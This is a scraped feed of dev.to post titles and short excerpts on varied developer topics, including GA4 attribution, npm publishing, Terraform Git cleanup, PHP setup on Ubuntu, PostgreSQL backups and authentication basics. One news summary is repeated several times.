    Google Analytics 4 killed the old attribution reports and replaced them with... well, something that requires a PhD to understand. Or at least that's what it feels like when you first open the Attribution section and see "data-driven attribution" with zero explanation of what data it's actually using. Here's the thing: you don't need a data analyst to build useful multi-touch attribution models in GA4. You need to understand what GA4 actually tracks, set up a few custom dimensions correctly, and use Explorations in ways Google's documentation barely mentions. I've spent the last year building attribution frameworks for clients who can't afford a full analytics team. Some work brilliantly. Some fall apart when you realize GA4 doesn't track what you thought it tracked. Here's what actually w…  ( 12 min )
    Tech Giants Navigate AI Backlash, Infrastructure Investments, and Future of Work Discussions Amidst Global Developments
    This post delves into the multifaceted technological landscape, covering critical updates from major players and emerging trends. We'll explore Google's stance on AI training and user data privacy amidst user concerns with Microsoft's Windows direction. Hyundai's substantial investment in a dedicated AI data center powered by Nvidia's latest GPUs signals a significant push in autonomous systems. The future of work and society is a hot topic, with Elon Musk and Jensen Huang offering bold predictions about AI's role. We also touch upon advancements in collaborative AI tools like ChatGPT's new group chat features, SpaceX's ongoing Starship development, Vitalik Buterin's perspective on Argentina's tech evolution, and crucial cybersecurity concerns surrounding cryptocurrency mining operations. Stay tuned for a deeper technical breakdown and analysis. AI #MachineLearning #CloudComputing #DataCenters #AutonomousVehicles #Robotics #FutureOfWork #ChatGPT #SpaceX #Starship #Ethereum #Crypto #Cybersecurity #NationalSecurity  ( 6 min )
    Mintlify Ignored This Feature Request for 6 Months. Here's Our Solution.
    Mintlify users have been begging for pre-filled API playground fields for months. The GitHub discussion has people literally saying "I just lost two hours of my day banging my head against this issue." The problem? When you click "Try it" in Mintlify's playground, every field is empty, even though your OpenAPI spec has perfectly good example values sitting right there. Your developers have to manually type or copy-paste data just to test a single endpoint. It's 2025. This is insane. So we built madrasly. Run npx madrasly your-spec.json output-dir and you get a fully interactive API playground with all fields pre-populated from your OpenAPI examples. Path parameters, query params, request bodies—everything just works. One command, zero configuration, and your developers can actually test your API without wanting to throw their laptop. Check out the live demo or grab it from GitHub. If Mintlify won't fix it, we will.  ( 6 min )
    Version 1.0.0 Released! My Repo Extraction Tool is now available on NPM!
    🎉 Exciting News! My project, repoal, has just launched its first version on NPM! You can install it using: npm install -g @whyang9701/repopal or run it directly with: npx @whyang9701/repopal Choosing a Name: I decided to use a scoped name for my project. This means it will be associated with my username. For example, an unscoped package like vue is just a project name and can't be reused. In contrast, a scoped package like @vue/shared is linked to the Vue organization. I went with a scoped name to avoid confusion and connect it to me. Automating the Publish Process: I used GitHub Actions to automate my publishing. GitHub has a tutorial that shows how to set this up. I modified the YAML file to trigger the publish process when I create a new git tag: name: Node.js Package on: push: tags: - 'v*' jobs: ... To update the version and push the tag, I run: npm version 1.0.0 git push && git push --tags This automation will kick in every time I update the version. Adding Provenance Statements: I also added a feature for provenance statements, which help verify where the package was built and who published it. This can enhance security. NPM provides a tutorial on how to do this. In my GitHub Actions YAML, I made two updates: Allow the runner to read the repo and use my ID token for verification: ... runs-on: ubuntu-latest permissions: contents: read id-token: write steps: ... - run: npm publish --provenance --access public Here's a green check mark that shows my publish comes with provenance statements! This check mark indicates that my package has verified information, improving supply-chain security.  ( 7 min )
    The Divine Algorithm: A Developer’s Confession
    From the Void to the Verified Commit There is a specific kind of magic that happens when a programmer stares at a blank page. To the uninitiated, it is just a text editor; to me, it is the void before creation. I am not merely writing algorithms; I am breathing life into a vacuum. I am building a world. The paradox of this craft is energy. I can finish a grueling day at my "regular" job, feeling the weight of the world on my shoulders, completely drained. Yet, the moment I sit down to work on my passion project, that fatigue is stripped away as if by an invisible hand. Sleep becomes obsolete. Who needs sleep when the project itself feeds you energy? The code becomes a current running through my veins. There are nights when the cognitive load becomes so immense, so crushing, that I feel m…  ( 8 min )
    Effective Communication Tips for Engineering Managers
    As an engineering manager, communicating effectively is one of your most important skills. You’re not just managing code or technical designs; you’re leading people—team members, stakeholders, and collaborators. Bad communication can lead to misunderstandings, missed deadlines, and low morale, while good communication builds trust, fosters collaboration, and drives success. Here are practical and easy-to-apply communication tips specifically for engineering managers to help you become a better leader and build stronger teams. One of the most overlooked communication skills is listening. Being a good listener means more than just hearing words; it means understanding the speaker’s emotions, intentions, and concerns. Give your full attention. Avoid distractions like phones or email during co…  ( 9 min )
    🚀 Autonomous Process Auditor (APA)
    AI that doesn’t assist — it works. I just built Autonomous Process Auditor (APA) for the Agentic AI Hackathon (IBM watsonx Orchestrate) — and it might be the most useful AI agent I’ve ever created. Audits suck. So I built an AI agent that does 100% of the auditing work automatically. Automates end-to-end auditing No more spreadsheets. No more human mistakes. Validates workflows across tools Slack, Jira, Notion, Gmail, internal systems — APA checks everything. Detects anomalies in real time Human reviewers catch mistakes late. AI catches them instantly. Generates audit trails automatically Every action. Every timestamp. Fully traceable & exportable. Uses IBM watsonx Orchestrate to chain skills APA can: Pull data Analyze patterns Flag issues Write reports Notify teams Log results —all without human intervention. Most “AI assistants” still need humans for everything important. Agentic AI system that completes tasks autonomously from start to finish. This is the future of work. agents that handle entire workflows. …then maybe I need to build an Autonomous Judge Auditor too 😤🔥 Would you trust an AI agent to run audits at your company? Let’s talk 👇  ( 6 min )
    Tech Giants Navigate AI Backlash, Infrastructure Investments, and Future of Work Discussions Amidst Global Developments
    This post delves into the multifaceted technological landscape, covering critical updates from major players and emerging trends. We'll explore Google's stance on AI training and user data privacy amidst user concerns with Microsoft's Windows direction. Hyundai's substantial investment in a dedicated AI data center powered by Nvidia's latest GPUs signals a significant push in autonomous systems. The future of work and society is a hot topic, with Elon Musk and Jensen Huang offering bold predictions about AI's role. We also touch upon advancements in collaborative AI tools like ChatGPT's new group chat features, SpaceX's ongoing Starship development, Vitalik Buterin's perspective on Argentina's tech evolution, and crucial cybersecurity concerns surrounding cryptocurrency mining operations. Stay tuned for a deeper technical breakdown and analysis. AI #MachineLearning #CloudComputing #DataCenters #AutonomousVehicles #Robotics #FutureOfWork #ChatGPT #SpaceX #Starship #Ethereum #Crypto #Cybersecurity #NationalSecurity  ( 6 min )
    Coding Challenge Practice - Question 63
    The task is to find two numbers that sum to 0 and return their indices, given an array of integers. The boilerplate code: function findTwo(arr) { // your code here } The array is scanned through once, while keeping track of every character seen const map = new Map(); For each number x, check if -x has been seen before. If yes, return both indices. for(let i = 0; i < arr.length; i++) { const complement = -arr[i]; if(map.has(complement)) { return [map.get(complement), i]; } map.set(arr[i], i) } If no pairs sum to 0, return null. The final code function findTwo(arr) { // your code here const map = new Map(); for(let i = 0; i < arr.length; i++) { const complement = -arr[i]; if(map.has(complement)) { return [map.get(complement), i]; } map.set(arr[i], i) } return null; } That's all folks!  ( 6 min )
    Como faço isso?
    const cDB = [ test = { appearance: 'https://image2url.com/images/1763839967613-ad7e3cd4-3f49-4c59-bc5c-ad19b3748757.jpg', bg: '', col1: '#fff', col2: '#000', col3: '#777', name: 'Syrian Presster', uname: 'SyPress', about: 'Detailed big description', gender: g1, species: 'Wolf', occupation: 'Militar', likes: 'Meat, Nature, Water', dislikes: 'People, Fire', detailedStats: { strength: 70, speed: 50, agility: 80, resistance: 60, defense: 40, dexterity: 75, confidence: 65, intellect: 78, empathy: 40, charisma: 55, patience: 30, temper: 45, humor: 70, creativity: 82, kindness: 60, curiosity: 73, imagination: 88, resilience: 69, optimism: 50, honesty: 90, } relations: [], rel: [], }, ]; O cDB precisa das variáveis, não existe 1 personagem só, não tem sentido ter 50 itens jogados sem identificação, tem que ser assim: PersonagemA = { Dados APENAS do Personagem A } O cDB é o "banco" que guarda tudo junto, mas todos são Idependentes, não variáveis independentes jogadas, cada uma pertence a um Personagem, mas todos pertencem ao Banco, e ficam guardadas nele. Isso não faz sentido nenhum: const cDB = [ Dado do quê? De quem? De onde? Qual? Mas não funciona quando crio o Banco: E nele coloco os itens: Nenhum funciona: O código parece não encontrar os itens dentro da variável que tem outras variáveis; const id = item.dataset.char; const data = cDB[id] ?? {}; Isso define os estilos, cada personagem é estilizado com sua paleta própria, nenhum item é rígido, só o estilo da página e como tudo se encaixa, textos, cores, efeitos, tudo é diferente pra cada um. Ele não encontra os dados dentro do cDB.  ( 6 min )
    How to do it?
    const cDB = [ test = { appearance: 'https://image2url.com/images/1763839967613-ad7e3cd4-3f49-4c59-bc5c-ad19b3748757.jpg', bg: '', col1: '#fff', col2: '#000', col3: '#777', name: 'Syrian Presster', uname: 'SyPress', about: 'Detailed big description', gender: g1, species: 'Wolf', occupation: 'Militar', likes: 'Meat, Nature, Water', dislikes: 'People, Fire', detailedStats: { strength: 70, speed: 50, agility: 80, resistance: 60, defense: 40, dexterity: 75, confidence: 65, intellect: 78, empathy: 40, charisma: 55, patience: 30, temper: 45, humor: 70, creativity: 82, kindness: 60, curiosity: 73, imagination: 88, resilience: 69, optimism: 50, honesty: 90, } relations: [], rel: [], }, ]; The cDB needs the variables, there is no such thing as 1 character, it makes no sense to have 50 items thrown without identification, it has to be like this: CharacterA = { Data ONLY for Character A } The cDB is the "bank" that keeps everything together, but they are all Independent, not independent variables thrown, each one belongs to a Character, but they all belong to the Bank, is to go to cDB and search the ID, no to go randomly to every folder searching to file.js file2.js and are stored in it. This makes no sense at all: const cDB = [ Given what? Whose? Whence? Which? But it doesn't work when I create the Bank: And in it I put the items: None of them work: The code does not seem to find the items within the variable that have other variables; const id = item.dataset.char; const data = cDB[id]?? {}; This defines the styles, each character is styled with its own palette, no item is rigid, just the style of the page and how everything fits, texts, colors, effects, everything is different for each one. It does not find the data inside the cDB.  ( 7 min )
    Notes and Boards as Virtual Offices: A Lightweight Approach
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    New User Defined Increment and decrement in C# 14
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    How to connect the Next.js MCP server to VS Code Copilot Chat
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    Tech Giants Navigate AI Backlash, Infrastructure Investments, and Future of Work Discussions Amidst Global Developments
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    Building My Portfolio: From Idea to Launch
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    Kicking Off 2026: The Ultimate World Cup Preview Guide
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    [Boost]
    The AI Industry Has a Truth Problem: Here’s How I See It Jaideep Parashar ・ Nov 22 #ai #discuss #learning #career  ( 6 min )
    Tech Giants Navigate AI Backlash, Infrastructure Investments, and Future of Work Discussions Amidst Global Developments
    This post delves into the multifaceted technological landscape, covering critical updates from major players and emerging trends. We'll explore Google's stance on AI training and user data privacy amidst user concerns with Microsoft's Windows direction. Hyundai's substantial investment in a dedicated AI data center powered by Nvidia's latest GPUs signals a significant push in autonomous systems. The future of work and society is a hot topic, with Elon Musk and Jensen Huang offering bold predictions about AI's role. We also touch upon advancements in collaborative AI tools like ChatGPT's new group chat features, SpaceX's ongoing Starship development, Vitalik Buterin's perspective on Argentina's tech evolution, and crucial cybersecurity concerns surrounding cryptocurrency mining operations. Stay tuned for a deeper technical breakdown and analysis. AI #MachineLearning #CloudComputing #DataCenters #AutonomousVehicles #Robotics #FutureOfWork #ChatGPT #SpaceX #Starship #Ethereum #Crypto #Cybersecurity #NationalSecurity  ( 6 min )
    React Native Isn't React: Why Web Developers Struggle with Mobile
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    Robotino View - Tutorial Series
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    Why Drawing Became My Steady Ground Again
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    Tech Giants Navigate AI Backlash, Infrastructure Investments, and Future of Work Discussions Amidst Global Developments
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    **Errores comunes en PLD: segmentación deficiente**
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    Network traffic analysis is a superpower. Whether you are debugging a distributed system, reverse-engineering a legacy protocol, or performing security auditing, you usually end up opening Wireshark. But what if you want to automate that detection? What if you need to trigger a specific action the moment a specific text sequence—like a specific username, a specialized API key, or a magic header—hits the network card? Writing a kernel-level driver to capture packets is painful and dangerous (one bug = Blue Screen of Death). Using raw socket libraries (like libpcap) is powerful but can be a nightmare regarding cross-platform compilation (Windows headers vs. Linux headers). In this article, I’ll explain how I built a Rust-based CLI tool that wraps the power of TShark (Wireshark) to monitor li…  ( 11 min )
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    A Python Tool That Simplifies Access to THE World University Rankings Data
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    How I Fixed the “Large Files Detected” Error When Pushing a Terraform Project to GitHub
    When working with Terraform, you may run into this GitHub error: This error is common among Terraform beginners and even experienced engineers because of how Terraform organizes provider binaries. GitHub rejects any file larger than 100MB, and Terraform providers typically weigh between 200MB–500MB. In this article, I’ll walk you through exactly why it happens, how I fixed it, and how you can prevent it from ever happening again. Terraform downloads provider binaries into: .terraform/ If you run: git add . before adding .terraform to .gitignore, Git starts tracking these massive files. Even if you delete the folder later, the large files remain in your Git history, and GitHub scans the entire history during a push. Then: git add .gitignore git commit -m "Add Terraform ignores files" Even after ignoring, GitHub still rejects the push because the massive files are stored in old commits. To fix this, we use a powerful tool: git-filter-repo. git filter-repo is a powerful and versatile tool for rewriting Git repository history. It is a Python script designed to be a faster, more capable, and more user-friendly alternative to git filter-branch To install the git filter-repo on my machine (wsl on windows) I used the following commands sudo apt update sudo apt install git-filter-repo run: git filter-repo --version Then clean your history: git filter-repo --force --path .terraform/ --invert-paths This removes all .terraform files from all past commits. The commit history has changed, you need to force push to upload the cleaned repository to Github without the large files git push --force This takes care of the large file error. Never commit: .terraform/ terraform.tfstate terraform.tfstate.backup provider binaries This error is very common for Terraform beginners and even experienced engineers. Ignore .terraform Clean the Git history with git filter-repo Force-push the cleaned repository Taking the time to clean your repo ensures you maintain a lightweight, secure, and professional Terraform project.  ( 7 min )
    Pasos para Crear una Nueva Instancia de SQL Server
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    Day F5: The Day I Lost
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    Andrew Huang: Making a track with the dial-up modem sound
    Andrew Huang’s latest video dives into how he turns the iconic dial-up modem screech into a full-blown music track, sharing his step-by-step process and creative hacks. He’s got a ton of extras over on Patreon—sample packs, project files and more—plus an Ableton plugin, a book, an online course and a buzzing Discord community for fellow beatmakers. Along the way he drops links to all his socials and streaming profiles (Spotify, Apple, Bandcamp, Tidal) and even lists his favorite software, interfaces, modular gear and headphones via affiliate links—so you can nerd out on the exact tools he swears by. Watch on YouTube  ( 6 min )
    Message Throttling with Apache Camel Master Component
    The Problem When managing events, it's common to encounter a rapid succession of events within a brief period. For instance, within an application driven by events, creating an entity can trigger multiple events like EntityAdded, EntityChanged, SubEntityAdded, etc. However, if the primary objective is to monitor changes in a specific entity item, processing all these events to dispatch a notification or outbound message to downstream systems might be unnecessary. Based on the problem described above, we are often interested in only knowing that an update has occurred at a certain moment, rather than communicating every single change. This can be effectively managed within a short predefined timeframe, typically 5 to 10 seconds. This pattern is particularly common when dealing with primar…  ( 7 min )
    Clean Architecture in .NET — From Pretty Diagrams to Production‑Ready Code
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    Comment Blob IA: l’interconnexion Nvidia-OpenAI-Google-Microsoft change tout?
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    7 TypeScript Tricks That Feel Illegal to Use
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    Black Friday Web Hosting Deals 2025 – Grab Up to 98% Off on the Best Hosts (Live Offers)
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    Debloat OPPO A15s
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    Stop Writing Analytics Code. Start Defining It
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    PulseGuard: Real-time Heart Monitoring with eBPF & Cilium
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    What I Learned From Photographing the Readers Who Walk Into My Shop
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    A Developer’s Guide to Apache Kafka: From Basics to Architecture in One Read
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    Free Online Accessibility Scanner — Audit Any Webpage Instantly
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    Análise de Vetores de Ataque em Arquitetura de Aplicações Web
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    Post-Holiday Retargeting Playbook: Converting December Browsers into January Buyers
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    AI Coding Assistants Battle 2025: GitHub Copilot's Raptor Mini vs Claude Code vs Cursor Composer
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    How I Ended Up Building With GitHub Copilot (the Remote One) And Why It Still Feels Kinda Wild
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    Modern Web Developer
    Building Modern Web Apps with Next.js and React – A Portfolio Showcase Hi Dev.to community! 👋 I’m Muhammad Shehzad, a Full-Stack Developer passionate about building modern, scalable web applications. Over the years, I’ve worked on various projects using Next.js, React.js, Node.js, and WordPress, focusing on performance, clean architecture, and seamless user experiences. In this post, I want to share some insights from my recent projects and invite you to explore my portfolio: Next.js & React.js: Fast, SEO-friendly web applications Node.js & Express: Robust backend APIs and automation tools WordPress Customization: Plugins and themes built from scratch Chrome Extensions: Custom tools to enhance productivity 💡 Pro Tip: When building web apps, always focus on clarity, scalability, and user experience. It’s what separates good apps from great ones! If you’re interested in seeing my projects or collaborating, feel free to check out my portfolio: Muhammad Shehzad I’d love to hear your thoughts and connect with fellow developers here on Dev.to! #ReactJS #NextJS #FullStack #WebDevelopment #Portfolio #Developer  ( 6 min )
    Why Django + Tailwind + Cursor AI is My Go-To Stack for Building MVPs Fast
    After helping folks build MVPs out of their napkin sketches, I keep coming back to Django + Tailwind + Cursor AI. Here's why this combo works so well for getting products to market quickly. Django gives you everything out of the box. Authentication, admin panel, ORM, form handling, security features - it's all there. While other frameworks make you piece together solutions, Django lets you focus on building your actual product. For early-stage startups burning through runway, this matters. Tailwind keeps the frontend moving fast. No context switching between HTML and CSS files. No fighting with Bootstrap's opinions. You style components right in your templates and move on. The utility-first approach means you're not spending hours naming CSS classes or organizing stylesheets. Cursor AI accelerates everything. Honestly, this has been a game-changer. Need to generate a Django model with all the right field types? Cursor writes it. Building a form with validation? Done in seconds. It understands Django conventions and Tailwind classes, so you're not just getting generic code - you're getting code that fits your stack. What used to take hours now takes minutes. Obvioiusly, you will need to have a half way decent understanding of what its doing - else it might take you for a ride ever so often. The combination just flows. Django templates + Tailwind utilities + AI assistance = unprecedented speed. Need a dashboard? Build it in a day. User authentication flow? Done by lunch. Cursor handles the boilerplate while you focus on business logic. If you're sitting on a product idea or helping someone build theirs, this stack removes so many obstacles. You spend time solving business problems, not framework problems. What's your preferred stack for rapid development? Are you using AI coding tools yet?  ( 7 min )
    Threat Modeling the YouTube Algorithm: A Security Researcher's Guide to Content Strategy
    📌 Missed Part 1? YouTube Monetization, Speed, and Risks (Part 1) This section continues from Part 1, which established YouTube's economic foundation and algorithmic mechanics. Part 2 applies offensive security thinking to content strategy - treating the platform as an adversarial system where creators must navigate between legitimate optimization and exploitable vulnerabilities that carry severe penalties. The central question: Can you "hack" sustainable YouTube growth, or does the attempt to exploit the system guarantee eventual detection and termination? If you treat YouTube like a system to exploit, you need to understand what you're attacking. The platform's recommendation engine isn't a static ruleset - it's an adaptive defense mechanism designed to detect and neutralize manipulation…  ( 17 min )
    AI's Honesty Problem: 7 Things the Industry Won't Tell You
    The gap between what AI companies promise and what actually exists is widening. The AI industry is advancing faster than any technology wave of the last four decades. But speed isn’t the real issue. The real issue is the growing distance between public narratives and ground truth. Today, the loudest voices in AI—major companies, founders, VCs, and influencers—shape expectations that don’t match the systems being built, tested, or deployed. If you’re a developer, founder, or tech professional, this truth gap impacts how you learn, what you build, and how you make decisions. Here is how I see the problem. Every week a new model is introduced as: “AGI-level” “100x faster” “Better than humans” Yet in real-world use, the shine fades quickly. Performance collapses when: datasets don’t align wi…  ( 8 min )
    Symfony Station Communiqué - ✦ Stardate: 21 November 2025 ✦
    Welcome to this week's Symfony Station communiqué. It's your review of the essential news in the Symfony and PHP development communities focusing on protecting democracy. There's good content in all of our categories, so please take your time and enjoy the items most relevant and valuable to you. We publish on Fridays. So you can savor it over your weekend. Or jump straight to your favorite section. Symfony Universe PHP More Programming Defending Democracy Cybersecurity Fediverse Once again, thanks go out to Javier Eguiluz and the team at Symfony for sharing our communiqué in their Week of Symfony My opinions will be in bold. And will often involve cursing. Because humans. Especially tech bros. Fuck 'em! The Programmer’s Fulcrum is the future (and smaller) home for a fusion of Symfony Sta…  ( 10 min )
    🧠 How Large Language Models Are Trained (And How They “Think”) — A Beginner-Friendly Guide
    https://medium.com/@natarajanck2/how-large-language-models-llms-work-training-thinking-and-parameters-explained-simply-caa1a95ef06c  ( 6 min )
    Tech Giants Navigate AI Backlash, Infrastructure Investments, and Future of Work Discussions Amidst Global Developments
    This post delves into the multifaceted technological landscape, covering critical updates from major players and emerging trends. We'll explore Google's stance on AI training and user data privacy amidst user concerns with Microsoft's Windows direction. Hyundai's substantial investment in a dedicated AI data center powered by Nvidia's latest GPUs signals a significant push in autonomous systems. The future of work and society is a hot topic, with Elon Musk and Jensen Huang offering bold predictions about AI's role. We also touch upon advancements in collaborative AI tools like ChatGPT's new group chat features, SpaceX's ongoing Starship development, Vitalik Buterin's perspective on Argentina's tech evolution, and crucial cybersecurity concerns surrounding cryptocurrency mining operations. Stay tuned for a deeper technical breakdown and analysis. AI #MachineLearning #CloudComputing #DataCenters #AutonomousVehicles #Robotics #FutureOfWork #ChatGPT #SpaceX #Starship #Ethereum #Crypto #Cybersecurity #NationalSecurity  ( 6 min )
    NPR Music: Ghost-Note: Tiny Desk Concert
    Ghost-Note’s Tiny Desk concert is a straight-up funk explosion led by founders Robert “Sput” Searight and Nate Werth (both from Snarky Puppy). The duo-turned-supergroup kicks off with punchy James Brown–meets–Sly & the Family Stone grooves on “JB’s Out” and “Move with a Purpose,” then slips into a spacey, R&B–tinged “Synesthesia” before revving back up for the James Brown tribute “Be Somebody.” They wrap things with the soulful love story “Slim Goodie,” complete with Werth and Searight trading rapid-fire percussion solos and Mackenzie Green’s pleading vocals that’ll have you wishing for your own Slim Goodie. It’s a tight, electrifying set that proves Ghost-Note still knows how to make every face break into that signature funk “stank position.” Watch on YouTube  ( 6 min )
    PHP - instalación y configuración en Ubuntu
    Prerequisitos - instalacion de Homebrew y asdf en ubuntu PHP - Docu PHP - On DevDocs.io (ordenados de menor a mayor curva de aprendizaje) CodeIgniter — https://codeigniter.com/user_guide/ Laravel — https://laravel.com/docs Symfony — https://symfony.com/doc 🛠️ Instalación en Ubuntu sudo apt update sudo apt install php php-cli php-common php-mbstring php-xml php-curl php-zip brew install php Instalación: php -r "copy('https://getcomposer.org/installer', 'composer-setup.php');" php composer-setup.php sudo mv composer.phar /usr/local/bin/composer Verificar: composer --version Dependencias: sudo apt update sudo apt install autoconf bison build-essential libxml2-dev libssl-dev \ libcurl4-openssl-dev pkg-config re2c libsqlite3-dev Plugin + versión: asdf plugin add ph…  ( 7 min )
    From Weeks to 15 Minutes: How We Built a Data Migration System That Changed Everything
    Part 1: The Business Story – Why We Built This The Problem Nobody Talks About Imagine this: It's Monday morning at a utility company. They've just signed up for SMART360—an amazing platform that will transform how they manage customers, meters, and billing. They're excited. Their leadership is excited. Then reality hits. They have 500,000+ customer records sitting in an old system. They need to move it all over. The spreadsheets are messy. Column names don't match. Phone numbers are formatted differently. Some data is missing. Some is duplicated. Their options? Manual mapping: Hire a team to manually match columns, clean data, and load it in batches. Timeline? 4-6 weeks. Cost? Thousands in labor. Custom scripts: Build one-off ETL pipelines. It works, but breaks with the nex…  ( 8 min )
    GitHub Universe 2025 Recap
    GitHub Universe 2025 ended a few weeks ago, but there was a ton of cool announcements and some stuff is still yet to come (I'm waiting for the end of the year 👀). I want to share quickly what I learned from watching the sessions and my opinion on some topics. Here is a quick recap too: Agent HQ - Mission Control GitHub Code Quality Copilot Upgrades Conclusion Agent HQ is a big focus: GitHub becomes mission control for all your coding agents (Anthropic, OpenAI, Google, xAI, and more) with unified task management, granular security controls — all included in your Copilot subscription. Copilot leveled up significantly: Code Quality, custom agents and code review improvements. There were significant upgrades to Copilot and it's definitely a lot better! Copilot metrics dashboard: GitHub launch…  ( 9 min )
    Vasuki iTech Unveils Vasuki Cloud: A Unified, AI-Ready, Developer-First Cloud Platform for the Next Generation of Builders
    Haryana, India — Vasuki iTech, the rapidly emerging innovator in developer-centric software ecosystems, today announced the launch of Vasuki Cloud, a fully integrated, AI-assisted cloud platform engineered to redefine how developers store, manage, and interact with their data. As part of the company’s expanding Vasuki ecosystem, Vasuki Cloud marks a major milestone in its mission to create a seamless, interconnected universe of tools that empower creators and teams across the globe. Designed from the ground up with a focus on performance, security, and intelligent automation, Vasuki Cloud represents a new approach to cloud computing. Instead of offering fragmented modules and complex configuration layers, Vasuki Cloud delivers an intuitive, centralized, and highly extensible system where s…  ( 8 min )
    Untitled
    Check out this Pen I made!  ( 5 min )
    Introducing PrettyPrint — a PHP array pretty-printer with Python-/PyTorch-style formatting
    I'm excited to announce PrettyPrint, a small, zero-dependency PHP utility designed to format numeric arrays in a clean, readable style inspired by Python and the tensor-views you’ll see in PyTorch. Whether you're doing ML experiments, debugging data pipelines, logging arrays, or building educational tools, PrettyPrint makes it easier to inspect array data in a structured way. No extra dependencies - just pure PHP. Supports aligned 2D tables, summarized tensor-style views (for larger arrays), 3D tensor with head/tail blocks, and flexible output options (labels, controlling newline behaviour, etc.). Makes your array dumps more readable and visually helpful. composer require apphp/pretty-print You can use the pprint() helper function for quick prints: Print scalars/strings pprint('Hello', 12…  ( 8 min )
    PostgreSQL Backup Myths Developers Still Believe: Comparison & Truth
    PostgreSQL has become the database of choice for countless applications, from startups to enterprise systems. Yet despite its widespread adoption, many developers continue to operate under outdated assumptions about PostgreSQL backups. These misconceptions can lead to data loss, extended downtime, and unnecessary costs. Understanding the truth behind these myths is crucial for maintaining robust database infrastructure and ensuring business continuity in today's data-driven environment. Many developers believe that the built-in pg_dump utility is all they need for production database backups. This misconception stems from the tool's simplicity and widespread documentation. However, relying solely on pg_dump can leave your data vulnerable and your recovery options limited. The reality is f…  ( 15 min )
    PostgreSQL Backup Myths Developers Still Believe: Comparison & Truth
    PostgreSQL has become the database of choice for countless applications, from startups to enterprise systems. Yet despite its widespread adoption, many developers continue to operate under outdated assumptions about PostgreSQL backups. These misconceptions can lead to data loss, extended downtime, and unnecessary costs. Understanding the truth behind these myths is crucial for maintaining robust database infrastructure and ensuring business continuity in today's data-driven environment. Many developers believe that the built-in pg_dump utility is all they need for production database backups. This misconception stems from the tool's simplicity and widespread documentation. However, relying solely on pg_dump can leave your data vulnerable and your recovery options limited. The reality is f…  ( 15 min )
    Alpha-Shadcn Figma Plugin
    https://github.com/rakibulism/alpha-shadcn  ( 6 min )
    Tech Giants Navigate AI Backlash, Infrastructure Investments, and Future of Work Discussions Amidst Global Developments
    This post delves into the multifaceted technological landscape, covering critical updates from major players and emerging trends. We'll explore Google's stance on AI training and user data privacy amidst user concerns with Microsoft's Windows direction. Hyundai's substantial investment in a dedicated AI data center powered by Nvidia's latest GPUs signals a significant push in autonomous systems. The future of work and society is a hot topic, with Elon Musk and Jensen Huang offering bold predictions about AI's role. We also touch upon advancements in collaborative AI tools like ChatGPT's new group chat features, SpaceX's ongoing Starship development, Vitalik Buterin's perspective on Argentina's tech evolution, and crucial cybersecurity concerns surrounding cryptocurrency mining operations. Stay tuned for a deeper technical breakdown and analysis. AI #MachineLearning #CloudComputing #DataCenters #AutonomousVehicles #Robotics #FutureOfWork #ChatGPT #SpaceX #Starship #Ethereum #Crypto #Cybersecurity #NationalSecurity  ( 6 min )
    Authentication vs Authorization (Explained in the Simplest Way Possible)
    Understanding authentication and authorization is essential for any backend, frontend, or full-stack developer. These two security concepts sound similar, but they solve completely different problems. Let’s break them down in a simple, beginner-friendly way. Authentication: Who Are You? It usually involve: Providing a username/email Providing a password Once the system knows who you are, it must decide: Which endpoints you can access. What actions you can perform. Which resources you are allowed to modify. Example: *Examples of Authentication Methods Bearer Token Authentication A Bearer Token is a random string given to a user after they successfully log in.You store the token (usually in localStorage) and send it on future requests. How it works: You enter your email + passwo…  ( 7 min )
    Scalable Multi-Tenant Architecture for Hundreds of Custom Domains
    Introduction Modern SaaS commerce platforms often face a similar challenge: supporting a large number of customer-specific storefronts, each with its own custom domain, while still relying on a shared backend. When your infrastructure is built on EKS with CloudFront and an Application Load Balancer in front, and each tenant requires its own SSL certificate, scaling becomes a real architectural puzzle. This article describes the problem we encountered, the options we evaluated, and the architecture we ultimately implemented to handle hundreds of HTTPS-enabled custom domains cleanly and reliably. Our platform allows customers to create online shops under their own domains. Dozens or even hundreds of domains like: storeABC.com, brandshop.net, or my-boutique.co.uk — all point to a shared Cl…  ( 9 min )
    My first flash loan protocol: A Solana adventure
    Introduction: Why i said yes to the unknown I stumbled upon this challenge while browsing developer communities online, and honestly, my first instinct was to scroll past it. The challenge was clear: build a flash loan program on Solana using Anchor framework. Simple enough on paper, but there was one problem —I had never touched Solana development before. The requirements were intimidating: Rust: A language I'd love to still learn but currently don't know much about Anchor Framework: Completely new territory Solana's programming model: Foreign concepts like PDAs, instruction introspection, and BPF programs By all reasonable measures, I should have skipped it. I had deadlines, bunch of familiar projects waiting for my attention, and a comfortable tech stack waiting for me. But t…  ( 16 min )
    Birthday Gift
    Check out this Pen I made!  ( 5 min )
    🌿 The Tools That Make My Developer Life Easier
    Every developer has their little rituals — the way they arrange their windows, the shortcuts they swear by, the terminal theme that somehow makes debugging less painful. For me, those habits live inside my dotfiles. Over time, they’ve become more than just configs. They’re like a memory of how I prefer to work. And whenever I set up a new machine, applying my dotfiles feels like unpacking my own desk: suddenly everything is familiar again. So here’s a human-friendly walkthrough of the things I actually use from my dotfiles repo: https://github.com/rubiin/dotfiles Chezmoi: My quiet helper Before I used chezmoi, setting up my environment after a fresh install felt like trying to remember a dream — “What alias did I use again? Where did that plugin live?” Now I just run: chezmoi init rubii…  ( 8 min )
    This 'Innocent' Array Pattern Quietly Kills Your JavaScript Performance
    You're writing clean code, filling arrays efficiently, but there's a hidden performance trap that catches even experienced developers: filling arrays in reverse order. Let me show you why this innocent-looking pattern can tank your app's performance and how to avoid it. Consider these two seemingly equivalent approaches: // Approach A: Forward filling const forwardArray = []; for (let i = 0; i = 0; i--) { reverseArray[i] = i * 2; } Both create identical arrays, right? Wrong. The second approach can be significantly slower and use more memory. Here's why. JavaScript engines like V8 (Chrome, Node.js) and SpiderMonkey (Firefox) are incredibly smart. They optimize arra…  ( 9 min )
    Series Week 9/52 — Oracle Compliance for CTOs: RBI & IRDAI Expectations
    { Abhilash Kumar Bhattaram : Follow on LinkedIn } In this week blog post we get into the bussiness process of the enteprises where compliance with regulatory entrprises of mission critical applications in India , for e.g. Banks , Insurance Companies , etc. When it comes to Banks and Insurance companies compliance of databases is non negotiable , this is directly atrributed to the efficiency of the DBA Teams Let me show reference documents . RBI - (Reserve Bank of India ) Guidelines on Information security, Electronic Banking, Technology risk management and cyber frauds , here IRDAI - (Insurance Regulatory & Development Authority of India ) here Oracle Security framework defined for RBI here I would like to highlight three Compliance guidelines that directly comes into operational …  ( 10 min )
    Ship Station Packing Slip Template
    Check out this Pen I made!  ( 5 min )
    React Native API Example
